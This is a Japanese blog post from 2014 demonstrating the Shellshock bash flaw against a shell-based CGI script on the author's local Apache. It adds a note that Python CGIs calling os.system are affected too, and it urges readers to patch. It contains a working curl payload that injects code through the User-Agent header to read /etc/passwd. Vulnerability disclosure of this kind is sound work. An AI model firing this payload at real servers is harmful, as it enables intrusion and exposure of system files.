Movatterモバイル変換


[0]ホーム

URL:


BASHの脆弱性でCGIスクリプトにアレさせてみました

環境変数に仕込まれたコードを実行してしまうBASHの脆弱性が CGIスクリプトに影響を与えるか試してみたら結果は悲惨な感じに

Tweet

2014年9月25日嶋田大貴

この記事は2014年のものです

朝からBash specially-crafted environment variables code injection attack なるもので騒ぎになっていたので、さっそく手元の Apacheで試してみました。

CGIスクリプト

/hoge.cgiというURIで実行されるように、一行のメッセージを出力するだけの CGIスクリプトを設置します。いっけん、なんの入力もクライアント側から受け付けていないため危険のありようもなく見えます。

#!/bin/shecho "Content-type: text/plain"echoecho "Hi! I'm an ordinary CGI script which is executed by /bin/sh"

多くの Linuxシステムでは/bin/sh/bin/bash を指していますので、このCGIは BASHで実行されることになります。

通常の実行結果

通常の実行結果

CGIスクリプトが echoした内容が表示されるだけです。

悪い奴の行動

それでは攻撃者に扮して curlで任意のコードを実行させてみます。HTTP_USER_AGENTあたりが手頃な環境変数なので curlの -A オプションを使って自白剤を注入してみました。

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://localhost/hoge.cgi

悪い奴の実行結果

ひでぶ

悪い奴の実行結果

結論

シェルスクリプトで書かれたCGIを外向きのサーバーに置いている人は、今すぐ bashにパッチを適用するか、bash以外のシェルでCGIスクリプトが実行されるようになんとかするか、とりあえずそれらの対応ができるようになるまでchmod -xして無効にするかしないと死にます。これのゼロデイがもう既に行われまくってたりしないといいのですが。

追記: 残念なお知らせです

CGI本体をシェルスクリプトで書いていなくても、シェルを使って外部コマンドを呼び出しているだけでこの脆弱性の影響を受けるケースを確認しました。影響を受けるCGIを漏れ無く探し出すのは相当困難になると思います。

下記は、df -hコマンドの出力を表示する Python製の CGIスクリプトです。脆弱性の影響を受けます。

#!/usr/bin/pythonimport os,sysprint "Content-type: text/plain"printprint "Hey, I'm a Python script so wouldn't be affected, right?"sys.stdout.flush()os.system("df -h") # OMG

検証環境はスクリーンショットの内容からお察しでおねがいします。一般的とは言いがたいですが、他の Linuxで大きく違うとはあまり思いません。

中の人の感想

CGIでアレできてしまう問題の本質は無毒化されていない入力を外部プログラムに与えてしまうことですが、環境変数にそんなアクロバティックな解釈を適用する奴がいるかもしれないことまでWebサーバ側は想像していなかったので無毒化処理の手法はおろか要否も議論されてこなかったという所ですかね

— 嶋田大貴 (@shimariso)2014, 9月 25

「シェルショック三銃士を連れてきたよ」「シェルショック三銃士!?」本物のbourne shellがまだあると思ってる奴「bashじゃなくてshを使えよ」CGIの仕組みを知らない奴「環境変数で値を渡すとか情弱w」system(3)がわかってない奴「zsh使ってるから大丈夫」

— 嶋田大貴 (@shimariso)October 7, 2014

Tweet

2014年9月25日嶋田大貴

記事一覧へ戻る



[8]ページ先頭

©2009-2025 Movatter.jp